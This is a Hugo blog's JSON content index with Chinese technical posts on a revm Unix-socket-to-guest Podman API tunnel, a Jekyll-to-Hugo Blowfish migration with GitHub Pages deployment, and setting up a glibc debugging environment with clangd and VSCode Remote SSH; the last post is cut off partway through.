[{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/tags/docker/","section":"Tags","summary":"","title":"Docker","type":"tags"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/tags/dockerd/","section":"Tags","summary":"","title":"Dockerd","type":"tags"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/tags/gvproxy/","section":"Tags","summary":"","title":"Gvproxy","type":"tags"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/","section":"IHEXON BLOG","summary":"","title":"IHEXON BLOG","type":"page"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/categories/linuxvm/","section":"Categories","summary":"","title":"Linuxvm","type":"categories"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/tags/network/","section":"Tags","summary":"","title":"Network","type":"tags"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/tags/podman/","section":"Tags","summary":"","title":"Podman","type":"tags"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/tags/revm/","section":"Tags","summary":"","title":"Revm","type":"tags"},{"content":"TunnelHostUnixToGuest 是一个Podman API 代理函数，它只做一件事：\n把 host 上一个 Unix socket 收到的连接，通过 gvproxy tunnel 转发到 guest VM 里的 Podman API TCP 端口。\n这篇文章记录几个关键的设计点：host/guest 边界、CLI 兼容性、网络后端隔离、连接生命周期，以及 Docker/Podman hijack stream 里的 half-close 语义。\n问题背景 # revm container mode 想提供一个轻量的容器 VM：host 上运行 docker / podman CLI，真正的容器环境跑在 libkrun 启动的 Linux guest 里。\n从用户视角看，它应该像这样工作：\n./dockerd --id dev export DOCKER_HOST=unix://$HOME/.cache/revm/dev/socks/podman-api.sock docker ps docker run --rm alpine uname -a 这里的 dockerd 是 revm 的 CLI 入口，不是 Docker 官方的 daemon。VM 里真正响应容器 API 的是 Podman API service。Podman 提供 Docker-compatible API，因此 Docker CLI 可以通过这个 socket 工作。\n这里有一个接口形态不匹配的问题：\nDocker/Podman CLI 习惯连接 host 上的 Unix socket Podman API 实际运行在 guest VM 里的 TCP 端口 TunnelHostUnixToGuest 就是在这个不匹配处做边界适配。\n核心链路 # container mode 下的代理链路可以概括为：\nflowchart LR cli[\"docker / podman CLI\"] hostSock[\"host podman-api.sock\"] tunnelFn[\"TunnelHostUnixToGuest\"] gvproxySock[\"host gvproxy socket\"] gvproxy[\"gvproxy\"] guestAPI[\"guest Podman API192.168.127.2:port\"] cli --\u003e hostSock hostSock --\u003e tunnelFn tunnelFn --\u003e gvproxySock gvproxySock --\u003e gvproxy gvproxy --\u003e guestAPI 这条链路里有三个重要边界：\nCLI 边界：host CLI 只看到 Unix socket VM 边界：容器 API 实际在 guest 内 网络边界：host 进程不能直接假设 guest 网络如何实现 TunnelHostUnixToGuest 的价值在于把这三个边界收在一个很窄的地方处理。外部 CLI 不需要知道 VM，guest Podman API 不需要知道 host Unix socket，gvproxy 负责具体的 host/guest 网络穿透。\n为什么 host 上要暴露 Unix socket # Docker CLI 和 Podman CLI 都天然支持 Unix socket：\nexport DOCKER_HOST=unix:///path/to/socket export CONTAINER_HOST=unix:///path/to/socket 因此 revm 选择在 host 上暴露一个 podman-api.sock，而不是要求用户连接某个随机 TCP 端口。\n这个选择有几个好处：\n符合 Docker/Podman CLI 的默认使用模型 避免在 host 上开放额外 TCP 监听 socket 文件可以自然跟随 session 目录管理 权限可以用文件系统权限表达 也就是说，host Unix socket 是对用户友好的 API surface。它是 revm 对外承诺的接口，而不是内部实现细节。\n为什么 guest 侧是 TCP # 在 gvisor 网络模式下，guest 里的 Podman API 监听在一个 TCP 地址上。revm 里通常是：\n192.168.127.2:\u0026lt;podman-api-port\u0026gt; 这不是偶然的。gvproxy/gvisor-tap-vsock 本来就是在 host 和 guest 之间提供虚拟网络能力。通过它转发到 guest TCP 端口，比尝试直接暴露 guest Unix socket 更符合这套网络模型。\n所以最终形成了一个有意识的接口转换：\nhost Unix socket -\u0026gt; gvproxy tunnel -\u0026gt; guest TCP port TunnelHostUnixToGuest 的名字也正好描述了这个方向：从 host 侧 Unix socket，到 guest 里的服务。\n为什么中间需要 gvproxy tunnel # host 进程不能直接 Dial(\u0026quot;tcp\u0026quot;, \u0026quot;192.168.127.2:port\u0026quot;) 并假设它一定能工作。guest 的地址存在于 gvisor-tap-vsock 管理的虚拟网络里，host/guest 通信需要通过 gvproxy 的控制 socket 建立 tunnel。\n所以 TunnelHostUnixToGuest 的每条连接大致经历这些步骤：\nflowchart TD accept[\"accept client connection\"] dial[\"dial gvproxy socket\"] request[\"request tunnel\"] note[\"POST /tunnel?ip=guest\u0026port=podman\"] bridge[\"bridge two streams\"] finish[\"finish on EOF or cancellation\"] accept --\u003e dial dial --\u003e request request -.-\u003e note request --\u003e bridge bridge --\u003e finish 这里的 request tunnel 对应的是 gvproxy 的 /tunnel 能力。revm 不需要理解 gvisor 网络栈细节，只需要告诉 gvproxy：\n请把这条连接转发到 guest 的 192.168.127.2:\u0026lt;podman-api-port\u0026gt; 这体现了一个很重要的设计原则：revm 不越过 gvproxy 直接操作 guest 网络，而是把 guest 网络穿透交给网络后端。\nTunnelHostUnixToGuest 的职责边界 # 我觉得这段代码最值得保留的设计点，是它的职责足够窄。\n它做：\n创建 host Unix listener accept CLI 连接 为每条连接 dial gvproxy 通过 gvproxy 建立到 guest IP:port 的 tunnel 双向复制字节 处理 context cancellation 传播 half-close 它不做：\n不解析 Docker API 不理解 Podman API 不关心容器命令是什么 不管理 guest Podman 生命周期 不决定网络模式如何实现 这很重要。因为 Docker API 里既有普通 HTTP 请求，也有 attach/exec 这种 hijacked stream。如果 proxy 层开始理解上层协议，很容易把一个简单的字节隧道写成半个 Docker daemon。\nTunnelHostUnixToGuest 的设计哲学是：只做传输层适配，不进入应用层语义。\n为什么不是一个通用 TCP proxy # 它确实很像通用 proxy，但它不是完全通用的 TCP proxy。\n它服务的是一个明确场景：\nhost Docker/Podman CLI 通过 Unix socket 访问 guest Podman API 并且需要支持 Docker hijack stream 因此它的设计不是“抽象到可以代理世界上一切 TCP 连接”，而是“足够通用地转发字节，同时准确保留 Docker/Podman CLI 需要的连接语义”。\n这也是 CloseWrite 变得关键的原因。\nCloseWrite 不是细节 # 在普通 request/response HTTP 里，很多人会把连接生命周期想得很简单：\n请求发完 响应读完 连接关闭 但 Docker/Podman API 里有 hijacked stream。典型场景是：\ndocker attach docker exec -i docker run -it 这些场景里，连接是双向流：\nstdin 方向：CLI -\u0026gt; guest process stdout/stderr 方向：guest process -\u0026gt; CLI 这两个方向的生命周期不一定同时结束。一个非常典型的状态是：\nstdin 已经 EOF stdout/stderr 还要继续返回 如果 proxy 在 stdin EOF 时直接 Close() 整条连接，就会把 stdout/stderr 也切断。这会造成输出截断。\n如果 proxy 完全不传播 stdin EOF，guest 里的进程可能永远不知道输入结束。例如：\necho hello | docker exec -i container cat cat 需要看到 stdin EOF 才能退出。如果 EOF 停在 proxy 这里，guest 进程可能继续等输入。\n正确语义是 half-close：\nstdin EOF -\u0026gt; CloseWrite(tunnelConn) stdout/stderr 方向继续保留 所以 CloseWrite 不是一个“小优化”，而是 Docker/Podman stream 能否正确结束的协议语义。\nDocker CLI 也是这么想的 # Docker CLI 的 hijack stream 逻辑也是这个模型。\n它会同时启动 input 和 output copy。input copy 结束后，Docker CLI 会调用 hijacked response 的 CloseWrite()，向 daemon 表达：\n我不会再写 stdin 了 但我还要继续读 stdout/stderr 之后，如果还有 output stream，Docker CLI 会继续等待 output 结束，而不是因为 input 结束就退出。\n也就是说，Docker CLI 本身就依赖 half-close：\nsequenceDiagram participant CLI as Docker CLI participant Proxy as revm proxy participant Guest as guest Podman API CLI-\u003e\u003eProxy: stdin bytes Proxy-\u003e\u003eGuest: forward stdin bytes CLI--\u003e\u003eProxy: stdin EOF / CloseWrite Proxy--\u003e\u003eGuest: CloseWrite tunnel side Guest-\u003e\u003eProxy: stdout / stderr continues Proxy-\u003e\u003eCLI: forward output Guest--\u003e\u003eProxy: output EOF Proxy--\u003e\u003eCLI: CloseWrite client side 因此 revm proxy 的责任不是隐藏 half-close，而是把 half-close 正确传过去。\n设计总结 # TunnelHostUnixToGuest 的设计可以压缩成一句话：\n在不理解 Docker/Podman API 的前提下，把 host CLI 期望的 Unix socket 连接，可靠地映射成 guest Podman API 的 TCP stream。 它的几个核心取舍是：\n对外暴露 Unix socket，因为 CLI 生态天然支持 对内使用 guest TCP，因为 gvisor/gvproxy 的网络模型适合这样转发 通过 gvproxy tunnel 穿过 host/guest 网络边界 只做字节转发，不解析 Docker API 保留 half-close，因为 Docker hijack stream 依赖它 用 context cancellation 统一回收连接资源 把不支持的网络组合挡在更早的配置阶段 所以这段代码的重点不是“怎么 copy 两个 conn”，而是边界设计：\nflowchart TD api[\"host-facing APIUnix socket\"] adapter[\"TunnelHostUnixToGuestboundary adapter\"] backend[\"network backendgvproxy tunnel\"] guest[\"guest servicePodman API TCP\"] stream[\"stream semanticshalf-close\"] api --\u003e adapter adapter --\u003e backend backend --\u003e guest stream -.-\u003e adapter 只要这个边界保持干净，revm 的 container mode 就可以继续把复杂性压在内部，同时让外部 CLI 看到一个简单、熟悉的本地 socket。\n","date":"13 May 2026","externalUrl":null,"permalink":"/posts/tunnelhostunixtoguestindockerd/","section":"Posts","summary":"TunnelHostUnixToGuest 是一个Podman API 代理函数，它只做一件事：\n把 host 上一个 Unix socket 收到的连接，通过 gvproxy tunnel 转发到 guest VM 里的 Podman API TCP 端口。\n这篇文章记录几个关键的设计点：host/guest 边界、CLI 兼容性、网络后端隔离、连接生命周期，以及 Docker/Podman hijack stream 里的 half-close 语义。\n","title":"revm 中的 TunnelHostUnixToGuest 设计逻辑","type":"posts"},{"content":"","date":"13 May 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"4 May 2026","externalUrl":null,"permalink":"/categories/blog/","section":"Categories","summary":"","title":"Blog","type":"categories"},{"content":"","date":"4 May 2026","externalUrl":null,"permalink":"/tags/blowfish/","section":"Tags","summary":"","title":"Blowfish","type":"tags"},{"content":"","date":"4 May 2026","externalUrl":null,"permalink":"/tags/github-pages/","section":"Tags","summary":"","title":"Github-Pages","type":"tags"},{"content":"","date":"4 May 2026","externalUrl":null,"permalink":"/tags/hugo/","section":"Tags","summary":"","title":"Hugo","type":"tags"},{"content":"最近把这个博客从 Jekyll 迁移到了 Hugo，并使用 Blowfish 作为主题。整个过程并不复杂，但有不少细节容易混在一起：Hugo 的资源目录、Blowfish 的配置入口、GitHub Pages 的部署方式、文章迁移后的图片路径、首页摘要、favicon、SEO，以及哪些内容应该交给主题配置，哪些内容应该用站点级覆盖。\n这篇记录把这次迁移和配置经验整理下来，方便以后复盘。\n目录结构 # 这个站点使用 Hugo 常见的拆分配置方式：\nconfig/_default/hugo.toml config/_default/languages.en.toml config/_default/params.toml config/_default/menus.en.toml content/posts/ assets/ static/ themes/blowfish/ 其中 themes/blowfish/ 是主题本体，尽量不要直接修改。Blowfish 的示例配置和文档可以直接参考：\nthemes/blowfish/exampleSite/content/docs themes/blowfish/config/_default 真正属于自己站点的改动，应该放在 config/、content/、assets/、static/ 或 layouts/ 这些站点级目录下。这样后续更新主题时，冲突会少很多。\n基础配置 # config/_default/hugo.toml 主要放 Hugo 自己的配置，例如：\ntheme = \u0026#34;blowfish\u0026#34; baseURL = \u0026#34;https://ihexon.github.io/\u0026#34; enableRobotsTXT = true [taxonomies] tag = \u0026#34;tags\u0026#34; category = \u0026#34;categories\u0026#34; author = \u0026#34;authors\u0026#34; series = \u0026#34;series\u0026#34; [outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] baseURL 在本地开发和线上部署时要注意。GitHub Pages 上线后应该使用最终域名；CI 构建时也可以显式传入：\nhugo --gc --minify --baseURL https://ihexon.github.io/ config/_default/languages.en.toml 用来放站点标题、描述、作者和 logo：\ntitle = \u0026#34;IHEXON BLOG\u0026#34; [params] logo = \u0026#34;img/logo.png\u0026#34; description = \u0026#34;A BLACK CAT\u0026#34; [params.author] name = \u0026#34;IHEXON\u0026#34; image = \u0026#34;https://avatars.githubusercontent.com/u/14349453\u0026#34; Blowfish 的 header logo 通过 resources.Get 加载，所以 logo = \u0026quot;img/logo.png\u0026quot; 对应的是：\nassets/img/logo.png 这和 favicon 不一样。浏览器标签页里的 icon 不是通过 logo 配置控制的。\nassets 和 static 的区别 # Hugo 里 assets/ 和 static/ 的语义不同。\nassets/ 里的文件会被 Hugo Pipes 和主题的资源处理逻辑读取，适合放：\nassets/img/logo.png assets/img/default-social.png assets/css/custom.css Blowfish 的 header logo、默认社交分享图、部分背景图和需要图片处理的资源，更适合放在 assets/。\nstatic/ 则是原样复制到站点根目录，适合放固定路径资源，例如：\nstatic/favicon.ico static/favicon-16x16.png static/favicon-32x32.png static/apple-touch-icon.png static/android-chrome-192x192.png static/android-chrome-512x512.png static/site.webmanifest Blowfish 的 favicon 文档也是这个思路：把同名文件放进站点自己的 static/，覆盖主题默认 favicon。\nLogo 和 favicon # 顶部 logo 和浏览器标签页 icon 是两套东西。\n顶部 logo：\n[params] logo = \u0026#34;img/logo.png\u0026#34; 对应：\nassets/img/logo.png 如果想要圆形 logo，最干净的做法是直接把图片裁成透明圆形 PNG，而不是为了 logo 单独写 CSS 覆盖。JPG 没有透明通道，所以头像这类圆形图更适合生成 PNG。\nfavicon 则直接放在 static/：\nstatic/favicon.ico static/favicon-16x16.png static/favicon-32x32.png static/apple-touch-icon.png static/site.webmanifest 浏览器 favicon 缓存很顽固，改完后如果没有立即生效，可以用隐身窗口或强制刷新验证。\n文章迁移 # 这次迁移的核心是把旧 Jekyll 文章整理成 Hugo 的 leaf bundle：\ncontent/posts/\u0026lt;slug\u0026gt;/index.md content/posts/\u0026lt;slug\u0026gt;/images/ 相比把所有图片都放到 static/，leaf bundle 更适合长期维护。每篇文章的 Markdown 和图片放在同一个目录里，迁移、重命名和删除文章时都更清晰。\n文章中的图片链接也改成相对路径：\n![example](images/example.png) 每篇文章都补上了比较完整的 front matter：\n--- title: \u0026#34;文章标题\u0026#34; summary: \u0026#34;用于首页和列表页展示的摘要。\u0026#34; description: \u0026#34;用于 meta description 和 SEO 的描述。\u0026#34; date: 2024-04-13 draft: false categories: - \u0026#34;linux\u0026#34; tags: - \u0026#34;glibc\u0026#34; - \u0026#34;gdb\u0026#34; --- summary 很重要。Blowfish 的 showSummary 默认展示的是页面摘要，如果不主动写 summary，可能会从正文里截取内容，代码块、标题符号、Markdown 原文都有机会混进去。对于技术博客，手写一两句 summary 更稳定。\n首页 Recent Articles # Blowfish 首页 Recent Articles 可以通过配置控制：\n[homepage] showRecent = true showRecentItems = 40 showMoreLink = true showMoreLinkDest = \u0026#34;/posts/\u0026#34; 列表摘要由 list 配置控制：\n[list] showSummary = true Recent 里的 tag 展示不是单独的 Recent 配置，而是走文章 meta partial。打开文章 taxonomy 后，Recent 列表也会显示 tags：\n[article] showTaxonomies = true showCategories = false showTags = true 这里关掉 categories，只显示 tags，首页会更干净。\n文章页 TOC # 右侧 TOC 可以直接使用 Blowfish 配置：\n[article] showTableOfContents = true 只要文章里有足够的 heading，Blowfish 的 single layout 就会渲染 TOC。这个不需要改主题模板。\n固定顶部栏 # Blowfish 的 header layout 有几个选项：\n[header] layout = \u0026#34;basic\u0026#34; 可选值包括：\nbasic fixed fixed-fill fixed-gradient fixed-fill-blur 如果想要类似 Blowfish 官方站那种固定、透明、带模糊的顶部栏，应该使用：\n[header] layout = \u0026#34;fixed\u0026#34; 不要被 fixed-fill-blur 的名字误导。fixed-fill-blur 会叠加 primary 色背景，在某些配色下会明显发蓝；fixed 使用的是中性色透明背景，更接近真正的毛玻璃效果。\nGitHub Pages 部署 # GitHub Pages 推荐使用官方 Actions + Pages 的方式部署静态站点。整体流程是：\ncheckout 仓库和主题 submodule。 安装 Hugo extended。 执行 Hugo 构建。 上传 public/ 作为 Pages artifact。 使用 actions/deploy-pages 发布。 典型 workflow 大致如下：\nname: Deploy Hugo site to Pages on: push: branches: - main workflow_dispatch: permissions: contents: read pages: write id-token: write concurrency: group: pages cancel-in-progress: false jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: submodules: recursive - uses: actions/configure-pages@v5 id: pages - uses: peaceiris/actions-hugo@v3 with: hugo-version: latest extended: true - name: Build run: hugo --gc --minify --baseURL \u0026#34;${{ steps.pages.outputs.base_url }}/\u0026#34; - uses: actions/upload-pages-artifact@v3 with: path: ./public deploy: environment: name: github-pages url: ${{ steps.deployment.outputs.page_url }} runs-on: ubuntu-latest needs: build steps: - id: deployment uses: actions/deploy-pages@v4 这里不需要 Jekyll，也不需要手动维护 gh-pages 分支。GitHub 仓库的 Pages 设置里，Source 选择 GitHub Actions 即可。\n不要提交 Hugo 生成缓存 # Hugo 处理图片后会生成：\nresources/_gen/ 这些是构建产物，不是源码。对于这个站点，图片处理缓存经常出现在：\nresources/_gen/images/ 本地构建后如果出现未跟踪的 resources/_gen/images/posts/，一般不需要提交。真正要提交的是 content/、assets/、static/ 和 config/ 里的源文件。\nSEO # Blowfish 已经自动处理了不少基础 SEO：\ntitle meta description canonical OpenGraph Twitter card RSS JSON feed schema.org Article / WebSite sitemap.xml robots.txt 更值得自己补的是内容信号：\nenableRobotsTXT = true 每篇文章写清楚：\nsummary: \u0026#34;...\u0026#34; description: \u0026#34;...\u0026#34; tags: - \u0026#34;...\u0026#34; 站点级可以补默认社交图：\ndefaultSocialImage = \u0026#34;img/logo.png\u0026#34; 如果文章主体是中文，也应该把站点语言改成更准确的 locale，而不是一直使用 en。\n最后的原则 # Blowfish 本身功能很完整，绝大多数需求都可以通过配置完成：\n首页布局 Recent 文章数量 文章摘要 tags 展示 TOC header 固定 favicon 覆盖 作者信息 社交链接 SEO 基础输出 真正需要改 themes/blowfish/ 的情况并不多。优先使用配置；配置不够时，使用站点级 layouts/partials/ 覆盖；最后才考虑改主题源码。\n这次迁移之后，文章、图片和配置的边界都清楚了。后续维护主要就是继续写文章、补 summary、整理 tags，以及在必要时更新 Blowfish 主题。\n","date":"4 May 2026","externalUrl":null,"permalink":"/posts/hugo-blowfish-config/","section":"Posts","summary":"最近把这个博客从 Jekyll 迁移到了 Hugo，并使用 Blowfish 作为主题。整个过程并不复杂，但有不少细节容易混在一起：Hugo 的资源目录、Blowfish 的配置入口、GitHub Pages 的部署方式、文章迁移后的图片路径、首页摘要、favicon、SEO，以及哪些内容应该交给主题配置，哪些内容应该用站点级覆盖。\n这篇记录把这次迁移和配置经验整理下来，方便以后复盘。\n","title":"Hugo Blowfish 博客迁移与配置记录","type":"posts"},{"content":"","date":"4 May 2026","externalUrl":null,"permalink":"/tags/static-site/","section":"Tags","summary":"","title":"Static-Site","type":"tags"},{"content":"","date":"13 April 2024","externalUrl":null,"permalink":"/tags/clangd/","section":"Tags","summary":"","title":"Clangd","type":"tags"},{"content":"","date":"13 April 2024","externalUrl":null,"permalink":"/categories/dev-environment/","section":"Categories","summary":"","title":"Dev-Environment","type":"categories"},{"content":"","date":"13 April 2024","externalUrl":null,"permalink":"/tags/gdb/","section":"Tags","summary":"","title":"Gdb","type":"tags"},{"content":"","date":"13 April 2024","externalUrl":null,"permalink":"/tags/glibc/","section":"Tags","summary":"","title":"Glibc","type":"tags"},{"content":"","date":"13 April 2024","externalUrl":null,"permalink":"/tags/vscode/","section":"Tags","summary":"","title":"Vscode","type":"tags"},{"content":"以 GLIBC 为例，搭建二进制与源码调试环境\nBuild glibc With debug symbol # 首先搞清楚系统自带的 libc.so 版本信息，然后构建相同版本的 glibc，我 Gentoo Portage 自带的 glibc 版本为 2.38：\n$ /lib64/libc.so.6 GNU C Library (Gentoo 2.38-r8 (patchset 9)) stable release version 2.38. Copyright (C) 2023 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 13.2.1 20231216. libc ABIs: UNIQUE ABSOLUTE Minimum supported kernel: 3.7.0 For bug reporting instructions, please see: \u0026lt;https://bugs.gentoo.org/\u0026gt;. glibc 源码在 https://ftp.gnu.org/gnu/glibc 发行：\n$ wget https://ftp.gnu.org/gnu/glibc/glibc-2.38.tar.bz2 $ tar -xvf glibc-2.38.tar.bz2;rm glibc-2.38.tar.bz2 $ cd glibc $ ../configure --prefix=/home/ihexon/glibc_bin --enable-profile 我使用 clangd 作为语言服务器为上层 Editor 提供 IDE 类似的 GoTo/GoRefer/GoToDefinition/GoToSymbol 与 Auto completion 等功能，Clangd 需要 compile_commands.json 对 source code 进行 index，所以还需要使用 Bear 来生成 compile_commands.json：\n$ bear -- make -j4 $ make -j4; make install Bear is a tool that generates a compilation database for Clang tooling. Bear 的内部原理是通过预加载动态链接库的方式来拦截编译器的调用，Bear 使用 LD_PRELOAD 环境变量，通过在编译器执行前加载一个共享库，将共享库中的特定函数替换为自定义实现，从而截获编译器的调用，这是一种在运行时劫持函数调用的技术。Bear 生成的 compile_database.json 记录了整个源码目录的编译过程信息，clangd 使用这些信息来对源码进行补全，跳转，诊断等。\nBear 使用了 gRPC 调用，所以当前环境下不能有 http(s)_proxy 或者类似的环境变量。\n使用 readelf 查看 libs.so.6 的 .debug sections\n$ readelf -S libc.so --wide [58] .debug_aranges PROGBITS 0000000000000000 183e80 016390 00 0 0 16 [59] .debug_info PROGBITS 0000000000000000 19a210 5106dc 00 0 0 1 [60] .debug_abbrev PROGBITS 0000000000000000 6aa8ec 0e5ca5 00 0 0 1 [61] .debug_line PROGBITS 0000000000000000 790591 13056f 00 0 0 1 [62] .debug_str PROGBITS 0000000000000000 8c0b00 02cd09 01 MS 0 0 1 [63] .debug_line_str PROGBITS 0000000000000000 8ed809 00ae2a 01 MS 0 0 1 [64] .debug_loclists PROGBITS 0000000000000000 8f8633 16042f 00 0 0 1 [65] .debug_rnglists PROGBITS 0000000000000000 a58a62 0230b8 00 0 0 1 GLIBC 源码使用了许多复杂的 Macro，分析这些 Macro 需要一定的耐心与难度， GDB 可以使用 macro expand (MACRO_NAME(PARAM) 打印展开后的 Macro，但是需要编译期间添加 -g3 支持，且 GCC 最低需要支持 DWARF 版本 3（-gdwarf-3）。\n我本地的 GCC 版本为 13.2.1 20231216 (Gentoo 13.2.1_p20231216 p11)， 默认 DWARF 格式为 5，所以我只需要在 运行 configure 脚本之前加入环境变量 CFLAGS=\u0026quot;-g3\u0026quot; 就行。\n-g3 存储了许多额外的调试信息会导致构建出来的 glibc 二进制库体积会稍微大一些。\n另外 glibc 需要 -O2 参数才能正确的构建，会有部分代码的逻辑被优化成抽象的样子，分析这部分代码只能去看汇编了，Good Luck。\nClangd # 通常情况下 Clangd 能做到开箱即用, clangd 读取 compile_commands.json 获取编译时参数分析 C++ 源码，但是如果系统自带的 clangd 版本太老的话，可以下载较新的 Clangd 二进制文件，需要在 Remote 端 VSCode 的 settings.json 中加入如下配置：\n\u0026#34;clangd.path\u0026#34;: \u0026#34;/home/ihexon/clang+llvm-17.0.6-aarch64-linux-gnu/bin/clangd\u0026#34;, clangd 插件的所有可配置选项可以从 package.json 中得到： https://github.com/clangd/vscode-clangd/blob/master/package.json\n点击一个 C 文件，vscode 的 clangd 插件会运行 clangd 二进制文件对源码目录进行 index： 如果浏览一下巨大的源码目录，比如 qemu 或者 kernel 时，clangd 会开始吃满服务器的CPU，并造成磁盘占用率 100%。\nclangd 生成的 index 文件 存储在源码目录下的 .cache 内，如果内存比较空闲的话可以把这个文件夹移动到内存中如 /dev/shm，使用 ln 将 /dev/shm/.cache 链接到源码目录内来避免 100% 磁盘占用的情况。\nClangd 有自己的配置文件 ~/.config/clangd/config.yaml（注意不是VSCode Clangd 插件），如果遇到 clangd 找不到 Header 的情况，需要手动给 clangd 提供 Header 的路径：\nCompileFlags: Add: [ -I/usr/include/ , -Wall] Remove: -W* VSCode 使用 Clangd 搭建开发环境 # VSCode 通过一个插件来支持 Clangd 语言服务器，这样带来的好处就是非常轻量级因为文本编辑器与代码分析器分离了且整个过程都是异步的。现在集成开发环境向 LSP 发展的趋势，连 Jetbrain 是这种自研的代码引擎的也在向 LSP 架构迁移。\nTo understand your source code, clangd needs to know your build flags. (This is just a fact of life in C++, source files are not self-contained).\nClang 通过 compile_commands.json 来获取编译器传入的各种参数帮助clangd理解代码，并提供给文本编辑器补全，诊断，跳转等能力。compile_commands.json 一般是通过 Bear 或者 Cmake 等工具生成的。\nClangd 会向上级目录逐级搜索 compile_commands.json，同时也会向同级 build 目录搜索。这么说有点抽象，举个例子： If editing $SRC/gui/window.cpp, clangd search in :\n$SRC/gui/, $SRC/gui/build/, $SRC/, $SRC/build/, … 所以如果需要在同一个 VSCode 实例中同时翻阅多个项目的代码，可以把这些 compile_commands.json 都组织好，然后写一个 C 语言的 HelloWord 触发 Clangd 寻找各个项目的 compile_commands.json，毕竟 Life is short ：）\nVSCode # VSCode 远程开发架构\n简单讲就是本地 VSCode 主 UI 线程会启动一个新的 UI 线程链接远程的 VSCode Server，代码分析补全跳转主要由远程 VSCode Server 负责。而新的 UI 线程可以看作是 VSCode Server 的前端界面。\n快捷键 # Crtl-P 类似于 Jetbrains IDEs 中的 Double-Shift，可以搜索一些代码与 Action 鼠标右键会有 Keyboard Mapping 提示。 快速编辑 settings.json # CTRL-P，搜索 JSON 可以快速编辑本地/远程/远程 Workspace 的 settings.json 文件 重要的目录文件 # 远程主机上比较重要的目录文件： # ~/.vscode-server-insiders/：远程 vscode 的安装目录。 ~/.vscode-server-insiders/data/Machine/settings.json: 远程VSCode 的配置文件 ~/glibc/build/.vscode/settings.json：glibc 下的 vscode 配置，项目级别的配置会覆盖 ~/.vscode-server-insiders/data/Machine/settings.json 下的配置。 ~/glibc/build/.vscode/launch.json Debug 配置 我这里贴一份 settings.json 备忘：\n$ cat .vscode-server-insiders/data/Machine/settings.json { \u0026#34;clangd.path\u0026#34;: \u0026#34;/home/ihexon/clang+llvm-17.0.6-aarch64-linux-gnu/bin/clangd\u0026#34;, \u0026#34;search.exclude\u0026#34;: { \u0026#34;**/.cache\u0026#34;: true }, \u0026#34;files.exclude\u0026#34;: { \u0026#34;**/.cache\u0026#34;: true }, \u0026#34;C_Cpp.intelliSenseEngine\u0026#34;: \u0026#34;disabled\u0026#34;, \u0026#34;remote.SSH.remoteServerListenOnSocket\u0026#34;: true, \u0026#34;C_Cpp.files.exclude\u0026#34;: { \u0026#34;**/.vscode\u0026#34;: true, \u0026#34;**/.cache\u0026#34;: true, \u0026#34;**/.vs\u0026#34;: true }, \u0026#34;C_Cpp.codeAnalysis.exclude\u0026#34;: { \u0026#34;**/.cache\u0026#34;: true } } $ cat /var/compressed/glibc/build/.vscode/settings.json { \u0026#34;clangd.path\u0026#34;: \u0026#34;/home/ihexon/clang+llvm-17.0.6-aarch64-linux-gnu/bin/clangd\u0026#34;, \u0026#34;C_Cpp.intelliSenseEngine\u0026#34;: \u0026#34;disabled\u0026#34;, \u0026#34;C_Cpp.codeAnalysis.exclude\u0026#34;: { \u0026#34;**/.cache\u0026#34;: true }, \u0026#34;search.exclude\u0026#34;: { \u0026#34;**/node_modules\u0026#34;: true, \u0026#34;**/bower_components\u0026#34;: true, \u0026#34;**/*.code-search\u0026#34;: true, \u0026#34;**/.cache\u0026#34;:true }, \u0026#34;C_Cpp.default.compileCommands\u0026#34;: \u0026#34;/tmp/glibc/build/compile_commands.json\u0026#34;, } 本地 VSCode 的重要文件： # C:\\Users\\localuser\\AppData\\Roaming\\Code - Insiders\\User 本地 VScode 目录 避免触发 SSH Timeout 的 BUG # 这是 VSCode 的古董级 BUG 了，到现在仍然没修，使用 remote.SSH.useLocalServer 可以缓解 BUG 的出现。\n\u0026#34;remote.SSH.useLocalServer\u0026#34;: true, 但有时候还是会触发。管道所有的 VSCode 窗口（远程的 UI，本地的 UI）后重新打开发现远程的 Workspace 又正常了。\n在触发这个 BUG 的时候注意 VSCode OUT 窗口的日志输出，发现报错输出一堆 JS 文件的异常信息，但这似乎不是重点。\n通过 TaskViewer 观察到关闭远程 VSCode UI 后 SSH 没有被杀死：\n这显然会导致新的远程 VSCode UI 下的 SSH 端口映射失败。\n哈搞了半天原来是这个原因，并且 Window 上的 SSH 客户端在端口转发失败的情况下还不会报错，真的太善良了好吗？？\n可以使用 cygwin 里的 OpenSSH 套件代替Win11 自带的 SSH，编辑本地 VSCode 配置文件加上这些配置：\n# In C:\\Users\\localuser\\AppData\\Roaming\\Code - Insiders\\User { \u0026#34;remote.SSH.enableX11Forwarding\u0026#34;: false, \u0026#34;remote.SSH.enableDynamicForwarding\u0026#34;: false, \u0026#34;remote.SSH.enableAgentForwarding\u0026#34;: false, \u0026#34;remote.SSH.path\u0026#34;: \u0026#34;C:\\\\cygwin64\\\\bin\\\\ssh.exe\u0026#34;, \u0026#34;remote.SSH.configFile\u0026#34;: \u0026#34;C:\\\\cygwin64\\\\home\\\\localuser\\\\.ssh\\\\config\u0026#34;, } 打开 glibc 工程 # 配置 VSCode 的 SSH 登录信息 # 在 Cygwin 中使用密钥对登录服务器\n$ ssh-copy-id -p2222 ihexon@192.168.1.210 # 写入登录配置信息到 Cgwin 的 ~/.ssh/config 文件内\n$ cat ~/.ssh/config Host 192.168.1.210 HostName 192.168.1.210 Port 2222 User ihexon 注意这里服务器的的别名就是 192.168.1.210\n之前我加入的 remote.SSH.path 配置会让 VScode 寻找到 cygwin 中的ssh 二进制文件而不是使用 Win11 自带的 